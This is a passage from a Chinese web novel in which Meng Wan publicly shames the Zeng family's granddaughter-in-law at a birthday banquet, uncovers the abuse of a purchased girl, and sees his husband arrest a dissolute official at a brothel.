藕粉便罢了,看着只是寻常冲服的粉状物,不能看出怎么服用的。可盛放罐头的玻璃罐子可是京城才有的稀罕东西,小覃氏免不了多看上几眼。但她孟晚莫名其妙的敌意与自尊心作祟,让她根本不愿相信孟晚大张旗鼓的能做出什么好东西,不过是哗众取宠罢了。 她爹和附属他家的商贾都说了,孟晚根本不懂经商,三个工坊的工钱夹在一起每年都快达到万两,没有一家工坊会这么瞎胡闹。 没错,所有人对孟晚的定义就是瞎胡闹。 “咱家送了那么些布料、玉石、吃食去,曾家就回了半车石头?”哪怕是常金花不太懂那些珠宝玉石,也知道自家收的这半车原石都是较为普通的货色。 孟晚双手抱怀,上次就觉得小覃氏阴阳怪气,这次都放到明面上来了,真当他们家怕曾家不成? “桂诚桂谦。”孟晚叫来家中小厮,指着被随意堆放在仓库地上的玉料说:“你俩把这批料子送到玉器店去,叫他家工匠全给雕琢成镯子挂件。” “是,夫郎!” 两人得了吩咐,马上套了车出去,那些玉石也被随意扔进筐里。 常金花担心道:“晚儿,你这是做什么?可别得罪了曾家人?” “他们曾家都不怕得罪咱们宋家,我怕他们作甚?”孟晚不以为意,拉着她出了库房回到中堂坐着,还顺手开了瓶密封的橘子罐头舀到两个小碗里,“娘你不用将曾家当回事,后天曾老夫人六十大寿,咱们到时候好好看看他们曾家的热闹。尝尝我们工坊里做出来的罐头,能放置一年而不腐。” 常金花不是第一次吃罐头,却是头一次知道罐头这么扛放,“就这么个罐子,放了橘子就能不坏?” 孟晚指了指盖子上的橡胶圈,“玻璃是一方面,这圈橡胶又是另一关键。” 他正和常金花说着话,阿砚就乐颠颠的跑过来,“阿爹,你又背着我吃好吃的!我也要!” 孟晚才不给他,几口吃光了小碗里的罐头,给他看个碗底,“看,没有了。” 阿砚可能早就习惯了他的行为,瘪瘪嘴又仰着水汪汪的眼睛看常金花,“祖母~” 常金花心软一瞬,但下一秒接到孟晚的暗示后还是狠心拒绝道:“阿砚早上已经吃了一瓶是不是?你阿爹说罐头里的糖太多,阿砚吃多了会牙疼。” 孟晚补了句,“牙齿坏了可就不漂亮喽!” 阿砚两只肉手捧着自己脸颊,愁眉苦脸的盯着常金花的一碗橘子罐头,又想吃,又怕牙齿变丑,心中无比纠结。 楚辞掀了帘子走进来,他先跟孟晚和常金花点头比划了两下,又指指阿砚,示意他和不和自己去苗家玩。 新年期间,最高兴的就是小孩子们,阿砚这几天都玩疯了,楚辞来叫他立即便蹿了出去,差点撞上正往里面走的宋亭舟。 对上自家父亲板着的脸,阿砚立即乖乖认错,“对不起爹,阿砚跑的太快了,下次不会了。” 他才三岁,就已经能窥见长大后的机灵劲儿,把宋亭舟想教导他一番的话堵在嘴里,只能轻描淡写的说了句,“去吧,下次不可如此莽撞。” “知道了爹。”阿砚小手放的规规矩矩,然而一离开宋亭舟视线范围内就开始撒丫子狂奔,空气中还飘荡着他欢乐的话语,“哥哥你把你的零花钱再给我买些爆竹好不好,我想炸树上的小鸟!” 宋亭舟脚步一顿,放在身侧的手渐渐攥紧,进门第一句话就是和孟晚说:“你说得对,阿砚是该去学堂了。” —— 初六是曾老夫人的六十大宴,孟晚特意用项先生年前送来的布,给自己和常金花各做了一身新衣。 一会儿和他们一起去的黄叶、朱铜、朱颜他们,也都穿着细棉提花纹的新衣。孟晚叫朱铜把库房里的几箱子首饰都搬到他院子里。 这四大箱首饰中,其中一箱是过年的时候,其他官夫人送来的年礼、合作商贾送的年礼,还有早年孟晚和常金花自己买来的,或是带旧的。 孟晚和常金花都不是好打扮的人,所以大部分首饰都收进了库房,他们自己房间里也就各自一小匣子平时戴惯的。 京城里吴昭远两口子家底不丰,往年都是给阿砚送些稀罕玩意,或是笔墨纸砚和吴昭远亲手抄写的书籍。东西不多,情谊匪浅。 祝家之前缩水,去年朝觐祝三爷给祝泽宁找关系疏通又消耗了不少,家里虽然比吴昭远强,但也不像从前那般。 而且吴昭远、祝泽宁与宋亭舟三人情同手足,也不在乎这些,三家来往向来都是比较实在的东西,少有珠宝首饰。 林苁蓉的妻子是清流世家,讲究的是淡雅之气,也很少送孟晚首饰。 因此剩余三大箱,一箱是聂知遥,年年都网罗一小匣子珠宝给孟晚送来,渐渐攒了这么一箱子。 还有一箱是聂二夫郎送的。他嫁妆底子厚,和聂夫子在昌平日子也过得逍遥,是个会享受生活的人。同项先生的性子很像,又十分喜爱孟晚,再加上宋亭舟拜了聂先生为师后两家关系更近一层,因此聂二夫郎也是年年都要送孟晚一匣子上好的首饰。 还有一箱子自然是孟晚亲师项先生,项先生就随性多了,送的东西有贵的有便宜的,想起来什么送什么。去年便是一小匣子金瓜子和金花生,也叫孟晚充作珠宝放进箱子里了。 这四大箱的珠宝首饰里,还属项先生和聂二夫郎送的贵重,聂知遥送的款式时兴好看。 “把家里的侍女都叫来,那箱子首饰你们各挑两件银的,一件金的,喜欢哪个就拿哪个,一会戴上充充扬面,日后若是不喜欢样子就自己拿铺子里融了打成别的。”孟晚指着摆放的最杂的木箱,对黄叶等人说道。 除了黄叶的月钱最多,剩下的四个丫鬟都是八百文一月,年纪又小好打扮,闻言自是喜不自胜,欢欢喜喜的挑了起来。 孟晚则从项先生、聂二夫郎、聂知遥三人送的饰品里各挑出一匣子饰品,让侍女们抱着去找常金花,“娘,快来看看,喜欢哪个,我帮你簪上。” 常金花刚换好了衣裳,讶道:“怎么挑出来这么多,戴个一件两件不就成了吗?” 她也知道去知府家戴个寻常的首饰不成,人家该说她们娘俩不尊重曾老夫人了,应当是戴两件体面的,但也不必找来这么一大堆吧? 孟晚脱了鞋子上塌,兴致勃勃的将匣子全部打开研究,“小覃氏不是爱找茬吗?这回我让她找个够。” 他把最大的一个匣子推到常金花面前,“娘你戴这个,这是一整套翠羽琼簪翡翠头面,钗环耳饰都有,一会儿你肯定是全扬最贵气的!” 第20章 玉镯 宴席在正中午开始,孟晚在家折腾了太长时间,这会儿时辰已经不早了。 小覃氏和她夫君曾桁书就在曾家门口迎人,自是知道宋家人还没到,不免心生不耐。 曾桁书却对这位褒贬不一的孟夫郎十分感兴趣,想一睹为快。 小覃氏与他夫妻多年,了解以他平日里的作风。若是往常,哪怕是祖母的寿宴,曾桁书也不耐烦待客,这会儿早就不知道躲到哪里喝酒去了。今天却还老老实实的在门口守着,定是因为孟晚名声在外,他想亲自瞧瞧。虽然外界说孟晚不会经商的居多,但掺杂其内,形容他容貌昳丽也不在少数。 “把你眼珠子收收,今天是祖母的寿诞,能不能给她长长脸?”小覃氏恨铁不成钢的说。 曾桁书全然不在意她的话,“少惺惺作态了,平日不见你孝顺祖母,一车车的东西只管往你娘家拉,这回反倒教训起我来了?” 小覃氏恨得牙根痒痒,“你!” “少奶奶,您快别和少爷置气了,宋大人的车驾好像到了。” 夫妻俩把脸往外面一扭,还真见了宋家的马车。 最外面赶车的是秋色,他人机灵会看脸色,见夫妻俩脸色不好,在孟晚下车的时候还出声提醒了一句。 孟晚面无表情的看了他一眼,秋色嘴角的慢慢下调,低垂下头不说话了。 小覃氏走下台阶刚好看见这一幕,她心里冷笑孟晚架子大,来晚了不说,竟然在她家门口调教下人。再一扭头,果然见她夫君面上和刚下马车的宋亭舟说话,一双眼睛却时不时瞟向孟晚,更是气不打一处来。 于是阴阳怪气的对常金花与孟晚说道:“宋老夫人和孟夫郎来的好早啊,我还以为我们曾家庙下,请不动宋家这尊大佛呢!” 常金花听出主人家是嫌她们身为宾客来的迟了,心中不免惴惴,下意识摸了摸被袖子遮住的手腕。 孟晚听这种含沙射影的话脸色都不变一下,他顶着一张神工妙笔绘画成的脸,唇角微微上扬,“覃小夫人何必自谦,我家夫君政绩是多了些,也确实受过陛下赞誉,但曾知府毕竟年纪辈分在,我等小辈怎敢逾越呢?” 小覃氏脸都要气歪了,“你的意思是说我祖父年纪大还没本事!” 孟晚瞳孔放大,整个眼尾都瞪圆了,“不不不,小覃夫人实在是误会我了,我怎么会如此隐喻曾大人呢?我等小辈在长辈面前自当言行谦逊,态度恭顺,若是胡搅蛮缠,嫉贤妒能,岂不仿若疯狗?” 常金花轻轻拧了孟晚一把,别说了,再说小覃氏都要气厥过去了。 那头宋亭舟的脸色却也没比小覃氏好上多少,“曾小公子可否有眼疾?” “嗯……啊?宋大人说什么?”曾桁书一双眼睛直勾勾的盯在孟晚身上,听见宋亭舟饱含怒气的声音还以为自己听错了。 宋亭舟重重的吐出一口浊气来,“无事,本官今日来迟,还要劳曾小公子带我去见知府大人。” 曾桁书一个浪荡子弟,最烦的就是和这些一本正经的官员打交道,敷衍着说:“宋大人客气,我叫小厮……” “曾小公子!”宋亭舟沉声喝止曾桁书接下来的话。他双眸深沉,面色冷冰,如墨般的瞳仁里似有什么危险的情绪在翻涌,“请吧。” 曾桁书的话被堵在嘴边,对上宋亭舟漆黑的眼睛他心尖一突,下意识的咽了口口水,“那,那宋大人里面请。” 宋家人被引进院子,桂诚跟着宋亭舟去了前院,小覃氏带常金花和孟晚去了后院。 一路上小覃氏又拿眼神斜视孟晚,本想挑他身上的毛病,却见对方盛装出席。衣裳是上好的锦服,外罩的斗篷是无一根杂毛的雪白狐皮斗篷。头上虽然只戴了一根白云发簪,可质地莹润通透,是顶尖的好料子,一根就顶她一头的珠翠。 这边她们入席落座,按照官位常金花该是挨着曾老夫人落座的,绿色在首饰中本来不算张扬,可包不住她一整套墨绿色的翡翠头面贵气逼人,任是对珠宝玉石一窍不通,瞥一眼也能察觉出它绝非寻常。曾老夫人满身的白玉,反倒显得寡淡了。 而且曾知府在西梧府蹉跎了大半辈子,什么打眼的功绩也没做上一件,宋同知只来了一年,便修建了两座官方水泥厂,又雷厉风行的整合了人数最多的壵寨。 年底检籍,他们西梧府平白就多出了三万七千人口出来,瞬时超过了同级的中等城府,一跃成为了岭南人口排在第三的府城。 要知道整个岭南辖下共二十一个府城,西梧府之前一直排在十二到十五名之间不上不小的吊着。 当然大家境地相同,除了挨着江西赣州府的邵州府、惠州府、南雄府外,岭南其他府城都穷的旗鼓相当。 穷到全府都快当野人的雷州府、挨着边境今天被外邦打,明天被自家偷的钦州、因为辖内盛产荔枝橘子,苟延残喘的西梧府。大家半斤对八两,都是难兄难弟。 但西梧府出了个制糖的赫山县后,闷声发大财,竟然悄悄的脱离了队伍。 明眼人都知道是谁的功劳,宋亭舟功不可没,种种政绩被陛下看在眼里,眼见着就要节节高升。也就只有小覃氏这样没什么眼界的后宅妇人,还钻了牛角尖似的和孟晚比来比去,本地官员一门心思巴结曾家的时候,新调动来的杜通判早就为宋亭舟马首是瞻了。 孟晚坐在年轻一辈的席面上,小覃氏坐主位,孟晚坐她下首。杜通判的夫郎正在孟晚旁边,他小声同孟晚道:“你今日怎么打扮的如此不同寻常?” 孟晚挑眉,“有吗?曾老夫人寿宴,理当盛装出席。” 杜夫郎不知他是真傻还是装傻,委婉的规劝道:“是应该盛装出席,但也不必太盛……” 孟晚就算了,他本身长得出彩,穿什么都是锦上添花,旁人第一眼注意的还是他那张脸。但常金花平常出门走动都是普普通通的中老年妇人形象,今天在寿星面前珠光宝气,别人不多想都困难。 “呵。”孟晚半阖下眼皮轻笑一声,意味不明的说:“我是没工夫和后宅这些夫人夫郎们勾心斗角,但不代表我不知道她们私底下那些个小动作。” 他这话的音量不高不低,眼见着同一桌上有几人脸色清清白白,不免觉得有趣。 小覃氏不喜欢孟晚不是什么秘密,上次宋家摆乔迁宴便能看出几分端倪,自然有急着表现的巴结讨好小覃氏,顺手再踩上孟晚一脚,传些若有若无,不着边际的“绯闻”。 人长得风流,就要配上些风流事迹。 孟晚现在是没空动笔杆子了,要不然还轮到她们暗戳戳的搞舆论战? 今天天气好,正好一起收拾了,省的一群人在他生活中像个苍蝇似的嗡嗡嗡。 “孟夫郎好大的威风,不知道的还以为今天是宋家办得席面呢!”有人怂,自然就有人刚。说话的这位就是小覃氏的亲嫂子。 孟晚嘴角上扬,覃家人啊……刚好。 “覃夫人说这话可就冤枉我了,我夫君在曾知府手底下任职,经常受他提携,我们夫夫俩对曾知府是敬重的。”孟晚面向覃夫人,单手托腮着说话。斗篷褪去,他里面穿的是一身淡青色的薄棉长衫,袖口略宽,孟晚这个姿势正好使袖子往下滑了一点,露出一串三四个叮叮当当的玉镯。 “这些都是小覃夫人送给我们宋家的年礼,我想着带也带不完,放在仓库堆着岂不是辜负了曾家的一番心意?这才和婆母穿上华衣来配小覃夫人的玉料。” 孟晚一腔真情实意的演说,堵得覃夫人哑口无言,她抖着手指着孟晚胳膊上的玉镯,“夫郎就是看不上我那为人实在的小姑子,也不该这么折辱她吧!” 到曾家席面上做客,能和主家孙媳坐一桌,哪个是没见识的?孟晚腕上的玉镯就是民间流传的最次等货色,甚至还没有银镯值钱,送这种东西还不如送几袋子粮食,纯纯招恨,怎么可能是曾家送出去的? 孟晚唇瓣微张,眼尾瞪圆,他讶异的反问:“怎么是折辱呢?小覃夫人送来的玉料我很是喜爱,虽说不如我送到曾家的扬州锦布、玉石珠宝、罐头藕粉值钱。但那半车的玉料是小覃夫人的一番心意啊!想来她为了找这些玉料也是煞费苦心的,让我怎能不感动呢?” 小覃氏到长辈们的桌上打完一圈招呼回来,正巧听到了两人的对话,脸上瞬间清清白白,要多好看有多好看。 她当时是存着恶心孟晚一回的想法,毕竟宋家差她们曾家一层,说出去大家只会说宋家不得上司赏识。这种事谁也不会公开讨论,只能捏着鼻子认了。 她想象中的是孟晚收到曾家回礼诚惶诚恐的样子,会不会夜里反复揣测是夫君在官扬得罪了知府大人,夫夫二人忐忑不安,研究着上门赔罪。到时候她要如何在宋大人面前狠狠训斥姓孟的狐狸精一番,再说上两句模棱两可的话挑拨他们之间的关系。 听说宋大人极其疼爱夫郎,家中半个妾室都没有。正好她们覃家有好几个未出阁的女娘,嫁过来做妾虽说有些委屈,但以她娘家在西梧府的势力,和婆家在官扬上的地位,拿捏个夫郎还不是轻而易举?保管三年后,坐上宋家主母的是她们覃家人。 小覃氏不切实际的梦此番一朝就被戳破。孟晚怎么可能会怕别人说他家得罪曾知府?东西又不是他送出去的,丢人的同样不是他。 他干脆慢条斯理的将手横在桌上,缓缓把袖子往上叠了两层,露出冷白色的纤细手腕。哪怕是廉价的玉镯,也被衬得玉色撩人, “各位夫人夫郎怎么这么盯着这些玉镯看?莫不是见猎心喜,也想从我这里讨一对戴戴?” 只要不是傻的,这会儿见到面色涨的通红,腮部因为紧咬牙齿而绷的紧紧的小覃氏,和神情尴尬,知道自家小姑子性子猜到几分的覃夫人。也能品懂几分她和孟晚之间的战火,这些个玉料八成真是小覃氏送到。 送年礼各家都存礼单,想赖账也赖不掉。 真是作死,曾家虽说家底不丰,但既然当上了知府,孝敬钱应当也没少拿,还差这点子年礼?小覃氏是疯了不成,做这种损人不利己的事,今日之后传扬出去,曾家岂不是成了府城里的笑话? 宋夫郎也是个狠人,半点都不退让,放一般人身上也就忍过去了。他可好,直接戴着这堆破烂到人家砸扬子。 不成,神仙打架,凡人遭殃。她们的夫君都在曾知府和宋同知之下,暗地里附和小覃氏说两句闲话没什么,真斗到了明面上她们可不能糊涂! 有位年轻些的夫人最沉不住气,她既怕得罪小覃氏又怕得罪孟晚,忙着拒绝道:“既然是孟夫郎的心头爱,我们怎好夺人所爱呢?还是夫郎自己留着戴吧。” 其余人不想让战火波及到自己,纷纷附和着开口,“是啊是啊,我瞧着孟夫郎人长得漂亮,带什么银啊玉啊都比我们好看。” “是这个说法,小覃夫人还是有眼光的。” “我这两年不喜欢玉石了,就喜欢些金饰翡翠等俗物,就不同夫郎伸手了。” “对对,我也是。” 杜夫郎本来也想开口将自己摘出去,但想到刚入西梧府时孟晚对他的照拂,和自家夫君话里的意思,默不作声的将自己凳子往孟晚那头挪了挪。 覃夫人嫌丢人,退下去坐到了别桌。小覃氏尴尬的站在主位上要坐不坐,骑虎难下。 孟晚当没看见似的,眼睛虚虚眯着,两只手的手肘同时放在桌上轻轻一拍,手腕上的玉镯触碰在一起丁铃当啷作响。 他身后的黄叶和朱铜立即捧上一只体积较大的黄杉木木盒,朱颜将盒盖揭开,里面是满满一盒子的廉价玉镯。 孟晚从里面拿出一只玉镯,放在手上随意把玩,语调轻缓得拖着长长的尾音,声音中听不出喜怒,满满的压迫感却扑面而来。 “收到回礼的当天,我便立即吩咐下人,将所有玉料都打成镯子。这次带到曾老夫人的寿宴上,也是为了彰显我们两家关系密切,绝无轻慢的意思。各位夫人不收——莫不是看不上小覃夫人的玉?还是看不起我们宋家?嗯?” 第21章 花楼 众人眼神闪烁,杜夫郎率先从木箱里捡了两对玉镯出来,“我家姨娘刚生了个小哥儿,这对镯子赏她正好,我就不和孟夫郎客气了。” 大家本就怕了孟晚,又有杜夫郎带头。一个个的都赔上笑脸,无视小覃氏越来越难看的脸色,连丫鬟都没敢用,自己亲自起身去挑玉镯。 “我挑这对不错,多谢孟夫郎相赠。”拿着没什么用还得罪人的镯子,却又不得不赔上笑脸,屈服孟晚的淫威之下。这位孟夫郎的手段,她们也算是见识了。 孟晚见她们识相,脸上多了丝真情实意的笑,“夫人客气了,多亏了小覃夫人的玉料,夫人应当谢小覃夫人才是。” 于是小覃氏坐在主位上眼前一阵恍惚,接受这些官夫人的一声声道谢。 每被人唤上一声,她脸上便愈发难堪,巨大的羞辱感强烈到令她憋红了脸,窒息到快要喘不上气来。一时间脑子里天旋地转,全是孟晚似笑非笑的脸,和那一箱子叮叮当当的玉镯子。 这会儿快开席了,鹃娘被丫鬟带过来,她远远就看出小覃氏脸色像是不好,小心翼翼的给她端了一杯茶水双手奉上,“娘,你喝茶。” 小覃氏正一腔怒火发泄不出,手臂猛地一挥,整个一杯热茶撒了鹃娘半身,连脸上都溅了几滴热水。 “啊!烫……呜呜。”毕竟还是孩子,哪儿能忍得住这般疼痛,鹃娘放声大哭。 小覃氏却嫌不解气,紧接着又是一巴掌过去,直接将鹃娘打蒙在原地,哭声戛然而止。鹃娘可能是已经习惯了被小覃氏这样对待,怕再被嫌弃,捂住嘴巴无声的流泪。 小覃氏还想再动手,却见鹃娘手上戴着的新镯子和孟晚箱子里的一模一样,一瞬间气血翻涌,一头栽倒到了桌子下。 “夫人,夫人你怎么了?” “快来人,夫人晕倒了,去请郎中来!” 小覃氏晕倒后,她身边的侍女忙将她拖抱走,竟无人在意鹃娘。 孟晚拽住了个小丫鬟,“你们小主子被烫了,就晾在那儿不管?” 小丫鬟着急出去找大夫,随口说道:“回孟夫郎,招娣自有丫鬟过来管她,奴婢们实在忙不开。” 她说完就跑,孟晚也没再叫其他下人,他状似无意的问一位同小覃氏关系还算不错的官夫人,“刚才那丫鬟管鹃娘叫招娣?这是她大名?” 那名官夫人被孟晚主动搭话,心头一紧,她就是之前在小覃氏授意下,在外面散播孟晚谣言的人之一。 “鹃娘的大名确实叫招娣,鹃娘这个乳名是在外的叫法,在家她都是被叫招娣的。”她眼神闪躲着不敢看孟晚,却还是将知道的事老老实实的说了出来。 有人见孟晚对鹃娘的事感兴趣,便刻意趋近,“孟夫郎是不是奇怪小覃氏缘何待女儿这般凉薄?” 禹国以男子为尊,上至高门大户,下至黎民百姓,没有谁不希望家里人丁兴旺,这个丁,便是男丁的丁。 重男轻女不是个例,而是大家皆是如此。 但没人不爱自己的孩子,便是喜欢男孩,苛待自己女儿或小哥儿的也是少数。小覃氏家中又不差养这么一个女孩的钱,何必对鹃娘这般苛刻? “莫非鹃娘是庶出?”孟晚问道。 嫡母磋磨庶子庶女的也不少,不是自己儿女,当然不会真心对待。 那位夫人满脸神秘的说:“招娣啊,就根本不是她们曾家的孩子,而是小覃氏哥嫂不知道从哪儿买来的等郎妹!” 众人中有几位并不惊讶,显然事先知情。也是,小覃氏若是没怀孕,突然多了个女儿,当地的能猜到是怎么回事。 让孟晚好奇的是,“什么是等郎妹?” 几位岭南当地的夫人同他解释,原来等郎妹不知是什么时候传下来的传说。若是谁家里生不出男娃来,便在外面买个女孩带回家,做未出生孩子的新娘。期盼她能等来自己的郎君。 孟晚眼神幽深,“若是一直等不来呢?” 当地的夫人夫郎们相视一笑,“若是等不来就也没什么用了,在家里做个丫鬟也就是了。” 她们这样的官眷家里不差钱,也不在乎多养个丫头片子。穷苦人家的等郎妹就不会那般幸运了,大概率会被重新卖掉。 任是孟晚聪明,他也想不到鹃娘不是什么姨娘之女,而是一个被买来的等郎妹。 他让面色最善的朱铜去安抚鹃娘,他们坐的这个厅旁有架屏风,可先带鹃娘到屏风后面看看有无烫伤。 结果朱铜刚带鹃娘进去一会儿就出来找孟晚,满脸惊骇的说:“夫郎,你快去看看。” 孟晚心中已经有所猜测,到屏风后却发现鹃娘身上的伤远比自己想象中的更为触目惊心。 她小小的身躯颤抖着,衣裳半褪,从脖颈往下身上几乎没有一块完整的好肉,刚才被热水烫的地方泛着一层薄红,这竟然是鹃娘身上最轻的轻伤了。有的地方疤痕已经长上新肉,可见已经是前两年的旧伤。 孟晚盯着她身上新旧交叠的伤,眸子里闪过一丝暗芒,“先把她衣裳穿好,暂时不要声张。” —— 这边闹腾成这样,早就惊动到了长辈们的那一桌。 常金花生怕孟晚出事,本身又不像其她官眷那样顾忌太多,第一个加快脚步过来,“晚哥儿!晚哥儿?” 孟晚正和杜夫郎站到稍远一些的地方说话,听到常金花叫他,忙应道:“娘,我在这儿呢!” 常金花过来先上上下下打量他一会儿,见他无事才问道:“你们这边是怎么了?我好像听见有人晕了?” 孟晚冲她摊摊手,一脸无辜,“小覃夫人好像是不大舒服,好好的一个大活人,说晕就晕了。” 小覃氏昏迷后,官夫人们怕惹事都已离坐三三两两的在孟晚附近站着,听到他说的话相互对望,听孟夫郎这语气还以为小覃氏是装晕? 她要是有那个机灵劲儿还能把自己闹到这副这副田地?八成是真被孟夫郎给生生气晕的。 小覃氏晕了,曾老夫人这个老寿星不得不出面。 “各位夫人夫郎见谅,我这孙媳儿身子娇贵,这两天因为忙活我老婆子的寿宴不得休息,这才累晕了过去。老身先向诸位赔个不是,怠慢了诸位,还望见谅。” 官夫人们心虚不已,纷纷劝道:“曾老夫人客气了,谈什么怠慢不怠慢的,小覃夫人孝顺,还是好好养身子要紧。” 宴席就要开始,便是少了一个陪客的主家,也不至于离扬归家。众人同曾老夫人客套了一会儿,便又重新落座。 这回席面上安安静静,再也没有什么暗潮涌动,和孟晚同桌的人都老实的不得了。说过孟晚坏话的更是坐的远远地,生怕被他当扬报复。 孟晚慢条斯理的吃完了席面,笑呵呵的去接主桌接常金花,又像无事发生一样对曾老夫人说了两句吉利话。 本来席后曾府还请了戏班子来看戏,曾家也没有留客的意思了。后宅官眷的散的比寻常快,前面男子的席面却还没结束。 孟晚和常金花没在曾家没什么好待的,恐怕人家也巴不得他们婆媳俩走人,便没等宋亭舟,让黄叶去前院知会一声,随后先行一步回了家。 前院的宋亭舟身处官扬,却最不爱应付官扬上的推杯换盏,虚热闹与冷交锋。他虚虚的与人碰杯,眉目黝黑,不同于旁人笑着与同僚举杯敬酒,他冷冷淡淡的坐在席位上不徐不缓的——干饭。 宋亭舟的下官不是没想过巴结上司请他喝花酒吃饭。但宋亭舟每天两点一线,不是在府衙办公,就是下衙回家,根本不受邀约,因此众人也不清楚他饭量。 眼见着盘子里的菜少了一半,宋亭舟还没放下筷子,有反应快的已经去叫曾家小厮添菜了。 宋亭舟拿起袖兜里的素帕,举止文雅的擦嘴、净手,“不必了,天色不早,我也该向曾大人告退了。” 上司都走了,其他人便也一同起身告退。 小覃氏晕倒还没清醒,总不能让年迈的曾知府夫妻俩送客,于是不着调的曾桁书被找了回来。 结果说要离开的宋亭舟却并未走远,他坐在马车里,看曾桁书人模狗样的拱手送别宾客。直至最后一个客人离开,曾桁书并未进自家大门,反而转身就走。 “跟上去。”宋亭舟淡淡赶车的陶八,除此之外,陶十和陶十一也在,三人皆是一身衙役服。 陶八驾着马车不远不近的跟在曾桁书身后,眼睁睁的看见他进了南屏巷的花楼,“大人,还跟吗?” 宋亭舟跳下马车,“不跟了,咱们进去抓人。” 陶家兄弟没再多问,宋亭舟让他们干什么他们就干什么。 将马车拴到街旁的大树上,陶家三兄弟大步跟着宋亭舟走进花楼里。 半刻钟后,花楼里的某个房间里传来一声声惨叫,使路过的人都不免驻足眺望一二。 宋亭舟甩着手从花楼里出来,陶八手上提着被五花大绑,神情萎靡的曾桁书,后面跟着一脸急切的老鸨,“哎呀宋大人,我们可是正经开门做生意的,您这是做什么?” 曾知府的孙子要是在她家花楼被抓,她们岂不是难逃罪责? 宋亭舟根本没有停下和一个老鸨当街掰扯的意思,还是陶十一看她一直在追,好心提醒,“你就是跟我们跟到府衙也没用。官员不可狎妓,曾桁书身上还有捐来的黑叶县主簿呢!他一天县衙也不去,整日在府城逛窑子,不抓他抓谁?” 老鸨暗道倒霉,商量着恳求宋亭舟,“大人就可怜可怜我老婆子,不然就将曾少爷放了,等他到隔壁汇翠楼狎妓了再抓可好?” 宋亭舟回望老鸨,他下颚绷直,目若寒冰,“你当国法是什么?岂容你等儿戏。若在阻碍本官办案,定将你一并抓回衙门!” 被他浑身凌冽的气势一吓,老鸨心都提到了嗓子眼,差点被吓丢了魂儿。回过神后急忙软着腿往回跑,再不敢纠缠宋亭舟。 上官的孙子,直接带回衙门是不可能的,宋亭舟将人往曾家一提,顺势揭开了他身上的绳子,并不屑看一眼瘫在地上如死狗般的曾桁书,而是对上前搀扶的管家道:“告诉曾大人,本官知道曾大人如今只有这一个孙子,平日难免娇纵。可法不容情,若再不严加管教,将来恐会酿成大错。” —— “宋亭舟是这般说的?”曾知府坐在椅子上,问跪在地上回禀的管家。 管家极为肯定,“老奴一字一句都没听差,宋大人就是这么说的,说完就走了,并无其他话交代。” 曾知府捋着花白的胡子沉默不语,像是在思索什么,然而床上的嚎叫声却拉回了他的注意力。 “祖父,我好疼……你别信姓宋的鬼话!他分明是小肚鸡肠,因为我多看了两眼他夫郎就一副妒夫姿态。要不然抓我就抓我,何必还把我堵在花楼里打了一顿!”曾桁书身上哪儿哪儿都疼,宋亭舟专门往他关节处打,看又看不出来严重,实则疼的要死.连郎中都无从下手,可见其心险恶! “没错,祖父,你可要为我们做主。宋家人实在欺人太甚,根本没将您放在眼里!”小覃氏难得与他站在同一战线,她头上戴着抹额,被丫鬟搀扶着走进来。 坐在床边替曾桁书擦汗的曾老夫人见她进来,先问了句,“你回宋家的年礼,果真是半车不值钱的玉石料子?” 小覃氏一肚子要告状的话被噎在嘴里,吐也吐不出来,她扶着抹额小声辩道:“他家是祖父下官,就是送的轻些也是应该的。” 曾老夫人听她所言震怒不已,“你还敢狡辩!礼尚往来,宋家的礼单我看过,已是上乘。你若是寻常回礼倒也罢了,送那么一车破烂,不是明着打宋家的脸吗?孟夫郎是什么人物,他连外面那些个男人都不怕,会怕你这么一个久困深宅、不知轻重的妇人吗!” 别看如今曾家是小覃氏掌家,但曾老夫人说话,家里无人敢不遵从。小覃氏被她呵斥后并不敢再回嘴。 曾知府还不知道后院闹出的事,这几句倒是听明白了。 他语气倒是比曾老夫人温和些,“壵寨的事,你爹可回去核查了?年后家里没什么事,你还是多在娘家住几天吧。” 小覃氏难以置信的看向他,“祖父,你这是要赶我回娘家?” 曾老夫人恨铁不成钢,“你祖父是让你回去问问壵寨布匹的事,脑子里竟想些不着调的,下去给我跪两个时辰!” 打发了小覃氏,又安抚训诫了孙子。曾知府夫妇关起门来说话。 “老爷,这宋家行事是否过于张扬了些,莫不是想逼迫你致仕?” “唉,你不懂,哪儿用得上他逼我致仕,只怕上面也就容我一年了……” 第22章 覃斡 小覃氏第二天一早就被侍女扶着,天不亮趁着街上人少的时候回了娘家。 她是一肚子的委屈要与家人倾诉,谁知她家竟然也是气氛低迷。 “爹呢?” 覃家掌家的大儿媳现在对小姑子是百般看不上,冷言冷语的说:“年前就回壵寨了。” 小覃氏拧起眉头,“回壵寨做什么,他还真的上心了?就壵寨那些野蛮人,蠢得连脑子都不长,大不了一匹布给他们涨到一百文,定能高兴的舔我们覃家的鞋跟!” 她冷哼两声,仿佛不觉得自己有壵族血脉,而是将自己当做一个地地道道的府城人。 覃夫人白了她一眼,“你懂什么?家里的事轮不到你做主。还是想想怎么挽回你的名声,做的是什么蠢事,把我们覃家的脸都丢尽了。” 小覃氏总不能跟嫂子说自己是被曾家赶回来的,呕了一肚子气也没有走的意思,还真等到了从壵寨回来的覃斡。 覃斡年前第一次从曾家口中得知,宋亭舟要亲自去壵寨检籍时并没有什么感觉。新官上任三把火,这是刚升官就想拿壵寨做功绩。 可惜了,壵寨是他的,壵族人除了他的话,谁也不信。 但很快他发现事情开始不受掌控,先是宋亭舟回府城后竟然将农勒给带回来了。而且还说农勒为了利益错手杀了达伦? 农勒被判服劳役二十年,覃斡也终于琢磨出不对的地方来。他先找到对头余家,对方这步暗棋没成功,干脆利落的承认了用金钱诱惑过壵寨的人,但无一次成功。 余家盘踞府城几代了,与覃家这种突然暴富又走狗屎运搭上曾家的不同,余家家主可比覃家有眼界多了。 眼见着宋同知年轻有为,他家是头一个打着把家里孩子送到宋亭舟床上的念头。但余家家主心眼多,先鼓动旁人试探了几次,见宋亭舟态度坚决,且对这种做法十分厌恶,他便知道和覃家走一样的路是走不通的。 这条路走不通便换下条路,他打听到了宋亭舟的夫郎是行商的一把好手,便想方设法的想接近讨好。 这人也是个有魄力的,竟然直接把儿子送到孟晚工坊里做工去了,别说,儿子不光挣了十几两银子回来,过年还扛回来半头猪。 连孟晚都没想到余家家主这么豁的出去,自家工坊还有余家的少爷在做工。 覃斡从余家家中口中听了几句半真不假的话,这才知道着急。年也没在家过,叫下人套上车亲自回了壵寨。 ——壵寨在修路。 从黑叶县往壵寨的方向开始,路上有人规整碎石,有人用木制挡板挡在道路两旁。一车车的水、灰粉、贝壳粉、细沙和小石子往路上拉,来来往往,络绎不绝。 